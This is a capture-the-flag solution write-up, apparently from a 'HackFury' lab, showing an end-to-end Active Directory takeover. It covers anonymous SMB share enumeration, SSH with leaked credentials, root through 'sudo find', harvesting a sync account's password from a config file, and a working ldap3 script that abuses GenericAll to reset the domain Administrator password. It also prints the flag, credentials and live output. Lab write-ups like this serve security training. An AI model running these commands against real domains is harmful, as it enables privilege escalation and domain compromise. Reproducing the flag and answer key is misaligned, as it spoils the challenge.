CAPITOL: Active Directory Lateral Movement - writeup
From a foothold on Angel, work inward: the box holds the keys to the domain, and the domain controller CAPITOL trusts an account it shouldn't.
CAPITOL: Active Directory Lateral Movement - solution
Flag: HackFury{db30f1b3eddf89cb30bb75007d4bd49b}
Facilitator creds: webops SSH Sp1ng2024#deploy (leaked via the anon share); jsmith Finance#Sync99 (leaked via /opt/appsync/sync.conf - also holds GenericAll on Administrator); Domain Administrator's password is reset by the player, no fixed value to leak
Intended path
Initial access is NOT the web (no web app is shipped). It is an unauthenticated SMB share left open in a migration.
- Enumerate, then read the open share - a null SMB session finds a
deployshare; the runbook on it leaks the ops SSH credential (endpoint, share, and file are all discovered, not guessed):
- List item LIST shares. -L lists shares only - do NOT hang a share path or -c off it:
smbclient -N -L //ANGEL # -> deploy Disk Deployment artifacts
- List item CONNECT to the share (drop -L), list it, then pull the file:
smbclient -N //ANGEL/deploy -c 'ls' # -> README-DEPLOY.txt
smbclient -N //ANGEL/deploy -c 'get README-DEPLOY.txt -'
# ssh webops@angel password: Sp1ng2024#deploy
# ...nightly sync bind settings live under /opt/appsync/ (root-only)
-L //host enumerates shares; //host/deploy connects to one - two different invocations. ANGEL = the host's IP or a resolvable name.
- Foothold -
ssh webops@ANGEL # password: Sp1ng2024#deploy
sudo -l # (root) NOPASSWD: /usr/bin/find
- Privesc (GTFOBins) -
sudo find . -exec /bin/sh \; -quit
gives a root shell.
- Credential discovery - don't guess the path; find the nightly AD sync job the scenario mentions and read the config it loads (
systemctl cat '*sync*',ls /opt, orgrep -rl 'bind_' /opt /etc 2>/dev/null), landing on/opt/appsync/sync.conf:
bind_dn=jsmith@horizon.local
bind_pw=Finance#Sync99
ldap_server=capitol.horizon.local
- Realise jsmith is over-privileged - a routine sync account shouldn't be able to touch the built-in Administrator, so check. The usual ACL-read tools do NOT work against this Samba DC (both request Microsoft-proprietary LDAP controls Samba rejects):
impacket dacledit.py -action read→ "session terminated by server";bloodyAD get writable→ "unavailableCriticalExtension ... control '1.2.840.113556.1.4.2065'". Don't take that as a dead end - the write itself needs no special control, so just attempt the reset and let it prove the right. The permission jsmith holds here isGenericAll(full control) overCN=Administrator,CN=Users,DC=horizon,DC=local.
- GenericAll abuse → reset Administrator's password. Rewriting
unicodePwdmust go over an encrypted channel (LDAPS/636). Against this Samba DC, bind with a plain LDAP SIMPLE bind over LDAPS using jsmith's UPN - NTLM binds (ldap3NTLM,bloodyADdefault) get rejected withstrongerAuthRequiredor terminate the session. A tinyldap3script is the reliable path (setimpacket envup first:python3 -m venv env && . env/bin/activate && pip install ldap3). Use a password with no shell-special characters (!triggers bash history expansion and silently corrupts the value):
import ssl, ldap3
tls = ldap3.Tls(validate=ssl.CERT_NONE)
server = ldap3.Server('<capitol-ip>', port=636, use_ssl=True, tls=tls)
conn = ldap3.Connection(server, user='jsmith@horizon.local',
password='Finance#Sync99', authentication=ldap3.SIMPLE, auto_bind=True)
new_pw = '"N3wAdm1nPass2026xyz"'.encode('utf-16-le') # quotes required, UTF-16LE
conn.modify('CN=Administrator,CN=Users,DC=horizon,DC=local',
{'unicodePwd': [(ldap3.MODIFY_REPLACE, [new_pw])]})
print(conn.result) # {'result': 0, 'description': 'success', ...}
result: 0 means the reset took - only possible because GenericAll let jsmith rewrite the attribute. No Kerberos TGS, no MS-DRSR replication anywhere.
- Log in as Administrator → flag (specify the HORIZON domain explicitly):
smbclient -U 'HORIZON\Administrator%N3wAdm1nPass2026xyz' //<capitol-ip>/it-vault -c 'get flag.txt -'
Proof it works
VERIFIED end to end against a live CCS deploy (2026-10-03). Full chain
solved: SMB leak → SSH (webops) → sudo find → root → /opt/appsync (jsmith) → GenericAll → LDAPS unicodePwd reset → SMB as Administrator → flag.
Final two steps, real output:
$ python3 reset.py # the ldap3 SIMPLE-bind script from step 6
bound: True
{'result': 0, 'description': 'success', 'dn': '', 'message': '00000000: Success',
'referrals': None, 'type': 'modifyResponse'}
$ smbclient -U 'HORIZON\Administrator%N3wAdm1nPass2026xyz' //10.64.0.66/it-vault -c 'get flag.txt -'
HackFury{db30f1b3eddf89cb30bb75007d4bd49b}
getting file \flag.txt of size 43 as - (21.0 KiloBytes/sec)讨论
0 条评论
- 正在加载评论...
在 博客目录 浏览更多文章,或加入后撰写你自己的文章。
